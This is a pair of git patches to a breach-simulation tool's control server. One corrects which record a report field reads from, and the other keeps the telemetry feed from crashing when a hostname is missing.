f89b1c52a95ed2a24a493f77a37c5b60452c8e13 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jan 2019 16:54:08 +0200 Subject: [PATCH 88/89] Fixed bug (from node['domain_name'] to monkey['domain_name'] --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 50d24d692..73ca69b5b 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -152,7 +152,7 @@ class ReportService: { 'label': monkey['label'], 'ip_addresses': monkey['ip_addresses'], - 'domain_name': node['domain_name'], + 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])) From f5ba65d6541299234d0ae0a2a7a3a9d3535d6477 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 18:31:17 +0200 Subject: [PATCH 89/89] BUGFIX Make sure we don't crash with bad telemetry --- monkey/monkey_island/cc/resources/telemetry_feed.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index f14c5d29f..672a593fa 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource): { 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'], + 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'), 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) }